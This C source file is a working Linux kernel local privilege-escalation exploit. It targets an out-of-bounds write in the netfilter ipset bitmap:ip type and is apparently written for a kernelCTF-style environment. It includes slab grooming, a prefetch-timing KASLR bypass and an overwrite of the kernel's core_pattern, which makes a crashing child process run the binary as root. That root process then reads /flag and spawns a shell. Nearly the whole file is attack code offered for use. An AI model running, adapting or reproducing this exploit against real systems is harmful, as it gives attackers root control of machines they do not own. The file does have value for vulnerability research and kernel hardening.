#define _GNU_SOURCE
#include <err.h>
#include <fcntl.h>
#include <sched.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syscall.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <linux/membarrier.h>
#include <linux/netlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/ipset/ip_set.h>

#include "netlink.h"

// #define COS_109 1
// #define MITIGATION 1

typedef u_int8_t u8;
typedef u_int16_t u16;
typedef u_int32_t u32;
typedef u_int64_t u64;
typedef int8_t i8;
typedef int16_t i16;
typedef int32_t i32;
typedef int64_t i64;

#define LEN(x) (sizeof(x) / sizeof(x[0]))
#define ASSERT(x) ({ if (!(x)) { err(EXIT_FAILURE, #x); } })
#define SYSCHK(x) ({ typeof(x) __tmp = (x); if (__tmp == (typeof(x))-1) { err(EXIT_FAILURE, #x); } __tmp; })

static void pin_to_cpu(int id) {
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(id, &set);
    ASSERT(sched_setaffinity(getpid(), sizeof(set), &set) != -1);
}

static void synchronize_rcu() {
    // A synchronize_rcu primitive in userspace: Original idea from https://github.com/lrh2000/StackRot
    if (syscall(__NR_membarrier, MEMBARRIER_CMD_GLOBAL, 0, -1) < 0) {
      perror("membarrier()");
    }
}

// for reference:
struct bitmap_ip {
    unsigned long *members; /* the set members */
    u32 first_ip;       /* host byte order, included in range */
    u32 last_ip;        /* host byte order, included in range */
    u32 elements;       /* number of max elements in the set */
    u32 hosts;      /* number of hosts in a subnet */
    size_t memsize;     /* members size */
    u8 netmask;     /* subnet netmask */
    struct /*timer_list*/ {
        u64 __pad0[2];
        u64 expires;
        u64 func;
        u64 __pad1[1];
    } gc;
    struct ip_set *set; /* attached to this ip_set */
    unsigned char extensions[] __attribute__((__aligned__(__alignof__(u64))));
};
_Static_assert(sizeof(struct bitmap_ip) == 88, "bitmap_ip size missmatch");

static u8 buf[4096] = {};
#define __NETLINK_SEND_CHECK(fd, len) do {\
        /* printf("l.%u: send %d\n", __LINE__, len); */\
        ASSERT(!__netlink_send(fd, buf, len)); \
        ASSERT(netlink_recv(fd, buf, sizeof(buf)) >= 0); \
        ASSERT(!netlink_errno((void*)buf)); \
    } while(0);

struct ip_set_ext {
    const char* comment;

    u64 counter0;
    u64 counter1;

    u64 skbmark;
    u32 skbprio;
    u16 skbqueue;
};

static void msg_setup(struct nlmsghdr* msg, u16 cmd) {
    struct nfgenmsg* data = NLMSG_DATA(msg);
    msg->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);
    msg->nlmsg_type = (NFNL_SUBSYS_IPSET << 8) |  cmd;
    msg->nlmsg_flags = NLM_F_REQUEST;
    msg->nlmsg_seq = 0;
    msg->nlmsg_pid = 0;

    data->nfgen_family = NFPROTO_IPV4;
    data->res_id = htons(NFNL_SUBSYS_IPSET);

    const u8 proto = IPSET_PROTOCOL;
    netlink_attr_put(msg, IPSET_ATTR_PROTOCOL, &proto, sizeof(proto));
}

static void ip_set_destroy(struct nlmsghdr* msg, const char* name) {
    msg_setup(msg, IPSET_CMD_DESTROY);
    netlink_attr_put(msg, IPSET_ATTR_SETNAME, name, strlen(name) + 1);
}

static void ip_set_add_bitmap_ip(struct nlmsghdr* msg, const char* name, u32 from, u32 to, u32 cadt_flags) {
    msg_setup(msg, IPSET_CMD_CREATE);

    netlink_attr_put(msg, IPSET_ATTR_SETNAME, name, strlen(name) + 1);
    netlink_attr_put(msg, IPSET_ATTR_TYPENAME, "bitmap:ip", strlen("bitmap:ip") + 1);
    const u8 revision = 3;
    netlink_attr_put(msg, IPSET_ATTR_REVISION, &revision, sizeof(revision));
    const u8 fam = NFPROTO_IPV4;
    netlink_attr_put(msg, IPSET_ATTR_FAMILY, &fam, sizeof(fam));

    struct nlattr* sd = netlink_nest_begin(msg, IPSET_ATTR_DATA);

    from = htonl(from);
    struct nlattr* ipa = netlink_attr_nest_begin(sd, IPSET_ATTR_IP);
    netlink_attr_append(ipa, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, &from, sizeof(from));
    netlink_attr_nest_end(sd, ipa);

    to = htonl(to);
    ipa = netlink_attr_nest_begin(sd, IPSET_ATTR_IP_TO);
    netlink_attr_append(ipa, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, &to, sizeof(to));
    netlink_attr_nest_end(sd, ipa);

    cadt_flags = htonl(cadt_flags);
    netlink_attr_append(sd, IPSET_ATTR_CADT_FLAGS | NLA_F_NET_BYTEORDER, &cadt_flags, sizeof(cadt_flags));

    netlink_nest_end(msg, sd);
}

static void __msg_ip_set_add_extensions(struct nlattr* sd, const struct ip_set_ext* ext) {
    if (ext) {
        if (ext->skbmark) {
            u64 skbmark = htobe64(ext->skbmark);
            netlink_attr_append(sd, IPSET_ATTR_SKBMARK | NLA_F_NET_BYTEORDER, &skbmark, sizeof(skbmark));
        }

        if (ext->skbprio) {
            u32 skbprio = htonl(ext->skbprio);
            netlink_attr_append(sd, IPSET_ATTR_SKBPRIO | NLA_F_NET_BYTEORDER, &skbprio, sizeof(skbprio));
        }

        if (ext->skbqueue) {
            u16 skbqueue = htons(skbqueue);
            netlink_attr_append(sd, IPSET_ATTR_SKBQUEUE | NLA_F_NET_BYTEORDER, &skbqueue, sizeof(skbqueue));
        }

        if (ext->comment)
            netlink_attr_append(sd, IPSET_ATTR_COMMENT, ext->comment, strlen(ext->comment) + 1);

        if (ext->counter0) {
            u64 counter0 = htobe64(ext->counter0);
            netlink_attr_append(sd, IPSET_ATTR_BYTES | NLA_F_NET_BYTEORDER, &counter0, sizeof(counter0));
        }

        if (ext->counter1) {
            u64 counter1 = htobe64(ext->counter1);
            netlink_attr_append(sd, IPSET_ATTR_PACKETS | NLA_F_NET_BYTEORDER, &counter1, sizeof(counter1));
        }
    }
}

static void ip_set_add_bitmap_ip_elem(struct nlmsghdr* msg, const char* name, u32 ip, u32 ip_to, u8 cidr, const struct ip_set_ext* ext) {
    msg_setup(msg, IPSET_CMD_ADD);

    netlink_attr_put(msg, IPSET_ATTR_SETNAME, name, strlen(name) + 1);

    struct nlattr* sd = netlink_nest_begin(msg, IPSET_ATTR_DATA);

    ip = htonl(ip);
    struct nlattr* ipa = netlink_attr_nest_begin(sd, IPSET_ATTR_IP);
    netlink_attr_append(ipa, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, &ip, sizeof(ip));
    netlink_attr_nest_end(sd, ipa);

    if (ip_to) {
        ip_to = htonl(ip_to);
        ipa = netlink_attr_nest_begin(sd, IPSET_ATTR_IP_TO);
        netlink_attr_append(ipa, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, &ip_to, sizeof(ip_to));
        netlink_attr_nest_end(sd, ipa);
    }

    if (cidr)
        netlink_attr_append(sd, IPSET_ATTR_CIDR, &cidr, sizeof(cidr));

    __msg_ip_set_add_extensions(sd, ext);

    netlink_nest_end(msg, sd);
}

static void ip_set_del_bitmap_ip_elem(struct nlmsghdr* msg, const char* name, u32 ip, const struct ip_set_ext* ext) {
    msg_setup(msg, IPSET_CMD_DEL);

    netlink_attr_put(msg, IPSET_ATTR_SETNAME, name, strlen(name) + 1);

    struct nlattr* sd = netlink_nest_begin(msg, IPSET_ATTR_DATA);

    ip = htonl(ip);
    struct nlattr* ipa = netlink_attr_nest_begin(sd, IPSET_ATTR_IP);
    netlink_attr_append(ipa, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, &ip, sizeof(ip));
    netlink_attr_nest_end(sd, ipa);

    __msg_ip_set_add_extensions(sd, ext);

    netlink_nest_end(msg, sd);
}

static u64 bypass_kaslr();

int main(int argc, char* argv[]) {
    if (!getuid()) {
        pid_t pid;
        sscanf(argv[0], "/proc/%u/exe", &pid);

        int pfd = syscall(SYS_pidfd_open, pid, 0);
        int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
        int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
        int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
        dup2(stdinfd,0);
        dup2(stdoutfd,1);
        dup2(stderrfd,2);

        char* shell[] = {
            "/bin/sh",
            "-c",
            "/bin/cat /flag && /bin/sh",
            NULL,
        };
        execve(shell[0], shell, NULL);
        return 0;
    }

    #if COS_109
    #if CI
    // hacky silence for unused warning
    (void)bypass_kaslr;

    u64 _start = strtoul(argv[1], NULL, 16);
    u64 p_core_pattern = 0xffffffff839bbca0 + (_start - 0xffffffff81000000);
    #else
    u64 p_core_pattern = 0xffffffff839bbca0 + bypass_kaslr();
    #endif
    #elif MITIGATION
    u64 p_core_pattern = 0xffffffff83bbace0 + bypass_kaslr();
    #else
    #error "unknown version"
    #endif

    // need a process to trigger the segfault. we want to keep the other process alive
    // forever to avoid any kernel panic on clean up
    int pipedes[2];
    ASSERT(!pipe(pipedes));
    int pid = SYSCHK(fork());

    if (!pid) {
        u8 b;
        ASSERT(read(pipedes[0], &b, 1) == 1);
        asm volatile ("xor %rax, %rax; movq $0, (%rax);");
    }

    ASSERT(!unshare(CLONE_NEWUSER | CLONE_NEWNET));

    int nfd = SYSCHK(netlink_open(NETLINK_NETFILTER));

    pin_to_cpu(1);

    struct nlmsghdr* msg;
    unsigned total = 0;

    #define RESET_MSG() { msg = (void*)buf; total = 0; memset(buf, 0, sizeof(buf)); }
    RESET_MSG();

    // Quick note on bitmap sizes:
    //
    // we can get oob access to extensions[len + i] (and the bitmap, but we do not care about that)
    // thus we need cache where we layout bitmap_ip structs:
    // choose kmalloc-1k because it has 32 objects per slab, thus increases our chances
    // that the oob hits one of our desired objects
    // we want to have a cache with large sizes to prevent too much damage to other
    // kernel memory, since we have only so much control over the oob write
    //
    // minor issue is the bitmap. with lower cache sizes, the bitmap is likely going
    // to hit kmalloc-8. Since we are likely not in full control over this cache,
    // we will have to hope to not corrupt any important pointers there.

    // need mask large enough to wrap around u16 id to get oob _after_ the structure
    // (i.e. (X & HOSTMASK) - X should be some positive u16)
    #define HOSTMASK 0xFFFF0000
    #define CIDR 16

    // so that the struct bitmap_ip with N IPs and extsize = 32 is in kmalloc-1k
    #define EXT (IPSET_FLAG_WITH_COUNTERS | IPSET_FLAG_WITH_SKBINFO)
    #define N 14
    #define X (0xFFFFFFFF - N + 1)

    // now a little bit of grooming
    char name[32] = {};
    #define N_GROOM_SETS1 120
    #define N_GROOM_SETS2 48

    printf("grooming ..\n");

    for (int i = 0; i < N_GROOM_SETS1; i++) {
        snprintf(name, sizeof(name), "X%d", i);

        // for simplicity, just use the first N IPs
        ip_set_add_bitmap_ip(msg, name, 0, N-1, EXT);

        total += msg->nlmsg_len;
        msg = nlmsg_end(msg);

        if (total >= sizeof(buf) - 512) {
            __NETLINK_SEND_CHECK(nfd, total);
            RESET_MSG();
        }
    }

    // now punch a hole
    ip_set_destroy(msg, name);
    total += msg->nlmsg_len;
    msg = nlmsg_end(msg);

    __NETLINK_SEND_CHECK(nfd, total);
    RESET_MSG();

    // set deletion is RCU protected
    synchronize_rcu();

    printf("add victim set ..\n");

    // now reclaim the hole with the victim set (the hole should be on the active
    // slab freelist, thus we should get it back immediately)
    ip_set_add_bitmap_ip(msg, "V", X, 0xFFFFFFFF, EXT);
    total += msg->nlmsg_len;
    msg = nlmsg_end(msg);

    // now fill the cache with even more sets and hope that we landed two struct bitmap_ip
    // right after each other
    for (int i = 0; i < N_GROOM_SETS2; i++) {
        snprintf(name, sizeof(name), "X%d", i + N_GROOM_SETS1);

        ip_set_add_bitmap_ip(msg, name, 0, N-1, EXT);

        total += msg->nlmsg_len;
        msg = nlmsg_end(msg);

        if (total >= sizeof(buf) - 512) {
            __NETLINK_SEND_CHECK(nfd, total);
            RESET_MSG();
        }
    }

    if (total)
        __NETLINK_SEND_CHECK(nfd, total);

    RESET_MSG();

    printf("more grooming ..\n");

    // now we fill up the other sets so that the oob does not wreck havoc across kernel memory
    // (it could write up 0xFFFF times, ideally we would like to have 1)
    // by setting all the bits in the sprayed bitmaps, we hopefully cause some duplicate elements
    for (int i = 0; i < N_GROOM_SETS1 - 1; i++) {
        snprintf(name, sizeof(name), "X%d", i);

        ip_set_add_bitmap_ip_elem(msg, name, 0, N-1, 0, NULL);
        total += msg->nlmsg_len;
        msg = nlmsg_end(msg);

        if (total >= sizeof(buf) - 512) {
            __NETLINK_SEND_CHECK(nfd, total);
            RESET_MSG();
        }
    }
    for (int i = 0; i < N_GROOM_SETS2; i++) {
        snprintf(name, sizeof(name), "X%d", i + N_GROOM_SETS1);

        ip_set_add_bitmap_ip_elem(msg, name, 0, N-1, 0, NULL);
        total += msg->nlmsg_len;
        msg = nlmsg_end(msg);

        if (total >= sizeof(buf) - 512) {
            __NETLINK_SEND_CHECK(nfd, total);
            RESET_MSG();
        }
    }

    if (total)
        __NETLINK_SEND_CHECK(nfd, total);

    RESET_MSG();

    printf("triggering bug ..\n");

    // new members we would like to write
    u32 first_ip = 0;
    u32 last_ip = 32 * 8/*bits per byte*/;
    struct ip_set_ext ext = {
        .counter0 = ~0,
        .counter1 = p_core_pattern, // bitmap_ip.members
        .skbmark = (u64)first_ip << 32 | (u64)last_ip, // bitmap_ip.first_ip / bitmap_ip.last_ip (big endian split)
        .skbprio = 0x01000000, // for some reason this needs to be big endian >= 1, otherwise skbqueue would not be written.
                               // we definitely need skbqueue as well, so something might be off?
                               // .. anyway it works (TM)
        .skbqueue = 1, // want bitmap_ip.hosts == 1, otherwise we might run in an infinite loop and
                       // the offset calculation does not work
    };

    // finally trigger the bug. with our chosen HOSTMASK (and corresponding CIDR) we
    // write oob until we hit a set bit in the bitmap_ip.members bitmap.
    // Specifically we will do something like that:
    // struct { u64 pad[4]; } extensions[];
    // for (i = N; !test_bit(members, i); i++)
    //     extensions[i] = ext
    //     set_bit(members, i)
    //
    // Since our bitmap is at least a qword, we definitely have some zero bits because
    // N < 64. Copying of extensions as well as settings bits in the bitmap will sooner 
    // or later trigger undesired out-of-bounds writes. In order to prevent a whole 
    // lot of damage to other kernel memory we hope to hit a one bit rather sooner than 
    // later in any of the adjacent objects.
    // Also note that the overwrite corrupts the rest of the target bitmap_ip
    // structure as well. We chose our payload and alignment so that the we can
    // still use the corrupted object without a kernel panic.
    ip_set_add_bitmap_ip_elem(msg, "V", X, 0, CIDR, &ext);
    // stop adding when element exists
    msg->nlmsg_flags |= NLM_F_EXCL;

    ASSERT(!netlink_send(nfd, msg));
    ASSERT(netlink_recv(nfd, msg, sizeof(buf)) >= 0);
    if (netlink_errno(msg) != -IPSET_ERR_EXIST) {
        perror("failed to trigger the bug?");
    }

    printf("searching corrupted set ..\n");

    // we can avoid overwriting the counters by setting them to -1
    // this way, we do not accidently corrupt any data during the core pattern overwrite
    memset(&ext, 0, sizeof(ext));
    ext.counter0 = ~0;
    ext.counter1 = ~0;

    // find the corrupted set
    bool found = false;
    for (int i = 0; i < N_GROOM_SETS1 + N_GROOM_SETS2; i++) {
        if (i == N_GROOM_SETS1 - 1)
            continue;

        RESET_MSG();

        snprintf(name, sizeof(name), "X%d", i);

        // set an IP which is oob of the original set. if it succeeds we found the corrupted set
        ip_set_add_bitmap_ip_elem(msg, name, N + 1, 0, 0, &ext);
        ASSERT(!netlink_send(nfd, msg));
        ASSERT(netlink_recv(nfd, msg, sizeof(buf)) >= 0);
        if (netlink_errno(msg) != -IPSET_ERR_TYPE_SPECIFIC) {
            ASSERT(netlink_errno(msg) == 0);
            found = true;
            break;
        }
    }

    if (!found)
        err(EXIT_FAILURE, "failed to corrupt a set"); // could retry if we were tryharding

    printf("found the corrupted set: %s\n", name);

    // with that, overwrite the core_pattern
    const char core_pattern[] = "|/proc/%P/exe";
    for (int byte = 0; byte < sizeof(core_pattern); byte++) {
        RESET_MSG();
        for (int bit = 0; bit < 8; bit++) {

            if ((core_pattern[byte] >> bit) & 1) {
                ip_set_add_bitmap_ip_elem(msg, name, byte * 8 + bit, 0, 0, &ext);
            } else {
                // need some extension which does not interfere with matching ..
                struct ip_set_ext ext2 = { .skbprio = 1 };
                ip_set_del_bitmap_ip_elem(msg, name, byte * 8 + bit, &ext2);
            }

            total += msg->nlmsg_len;
            msg = nlmsg_end(msg);
        }
        __NETLINK_SEND_CHECK(nfd, total);
    }

    printf("done!\n");

    // double check the core pattern
    int core = SYSCHK(open("/proc/sys/kernel/core_pattern", O_RDONLY));
    read(core, buf, sizeof(buf));
    close(core);

    if (strncmp((char*)buf, core_pattern, strlen(core_pattern)) == 0) {
        // notify
        ASSERT(write(pipedes[1], "", 1));
    } else {
        printf("core pattern override failed?: %s\n", (char*)buf);
    }

    while (1) { sleep(60); }
}


// KASLR bypass
//
// This code is adapted from https://github.com/IAIK/prefetch/blob/master/cacheutils.h
//
inline __attribute__((always_inline)) uint64_t rdtsc_begin() {
  uint64_t a, d;
  asm volatile ("mfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "xor %%rax, %%rax\n\t"
    "lfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}

inline __attribute__((always_inline)) uint64_t rdtsc_end() {
  uint64_t a, d;
  asm volatile(
    "xor %%rax, %%rax\n\t"
    "lfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "mfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}


void prefetch(void* p)
{
  asm volatile (
    "prefetchnta (%0)\n"
    "prefetcht2 (%0)\n"
    : : "r" (p));
}

size_t flushandreload(void* addr) // row miss
{
  size_t time = rdtsc_begin();
  prefetch(addr);
  size_t delta = rdtsc_end() - time;
  return delta;
}

u64 bypass_kaslr() {
    u64 base;

    #if CI
        #define START (0xffffffff81000000ull)
        #define END (0xffffffffc0000000ull)
        #define STEP 0x0000000000200000ull
        #define NUM_TRIALS 7
        // largest contiguous mapped area at the beginning of _stext
        #define WINDOW_SIZE 11

        while (1) {
            u64 bases[NUM_TRIALS] = {0};

            for (int vote = 0; vote < LEN(bases); vote ++) {
                size_t times[(END - START) / STEP] = {};
                uint64_t addrs[(END - START) / STEP];

                for (int ti = 0; ti < LEN(times); ti++) {
                    times[ti] = ~0;
                    addrs[ti] = START + STEP * (u64)ti;
                }

                for (int i = 0; i < 16; i++) {
                for (int ti = 0; ti < LEN(times); ti++) {
                    u64 addr = addrs[ti];
                    size_t t = flushandreload((void*)addr);
                    if (t < times[ti]) {
                        times[ti] = t;
                    }
                }
                }

                uint64_t max = 0;
                int max_i = 0;
                for (int ti = 0; ti < LEN(times) - WINDOW_SIZE; ti++) {
                    uint64_t sum = 0;
                    for (int i = 0; i < WINDOW_SIZE; i++) {
                        sum += times[ti + i];
                    }
                    if (sum > max) {
                        max = sum;
                        max_i = ti;
                    }
                }

                bases[vote] = addrs[max_i];
            }

            int c = 0;
            for (int i = 0; i < LEN(bases); i++) {
              if (c == 0) {
                base = bases[i];
              } else if (base == bases[i]) {
                c++;
              } else {
                c--;
              }
            }

            c = 0;
            for (int i = 0; i < LEN(bases); i++) {
              if (base == bases[i]) {
                c++;
              }
            }
            if (c > LEN(bases) / 2) {
              goto got_base;
            }

            printf("majority vote failed:\n");
            printf("base = %lx with %d votes\n", base, c);
        }
#else
    #define OFFSET 0
    #define START (0xffffffff81000000ull + OFFSET)
    #define END   (0xffffffffD0000000ull + OFFSET)
    #define STEP   0x0000000001000000ull

    while (1) {
        u64 bases[7] = {0};
        for (int vote = 0; vote < LEN(bases); vote ++) {
            size_t times[(END - START) / STEP] = {};
            uint64_t addrs[(END - START) / STEP];

            for (int ti = 0; ti < LEN(times); ti++) {
                times[ti] = ~0;
                addrs[ti] = START + STEP * (u64)ti;
            }

            for (int i = 0; i < 16; i++) {
            for (int ti = 0; ti < LEN(times); ti++) {
                u64 addr = addrs[ti];
                size_t t = flushandreload((void*)addr);
                if (t < times[ti]) {
                    times[ti] = t;
                }
            }
            }

            size_t minv = ~0;
            size_t mini = -1;
            for (int ti = 0; ti < LEN(times) - 1; ti++) {
                if (times[ti] < minv) {
                    mini = ti;
                    minv = times[ti];
                }
            }

            if (mini < 0) {
                return -1;
            }

            bases[vote] = addrs[mini];
        }

        int c = 0;
        for (int i = 0; i < LEN(bases); i++) {
            if (c == 0) {
                base = bases[i];
            } else if (base == bases[i]) {
                c++;
            } else {
                c--;
            }
        }

        c = 0;
        for (int i = 0; i < LEN(bases); i++) {
            if (base == bases[i]) {
                c++;
            }
        }
        if (c > LEN(bases) / 2) {
            base -= OFFSET;
            goto got_base;
        }

        printf("majority vote failed:\n");
        printf("base = %lx with %d votes\n", base, c);
    }
#endif

got_base:
    printf("using kernel base %lx\n", base);
    return base - START;
}
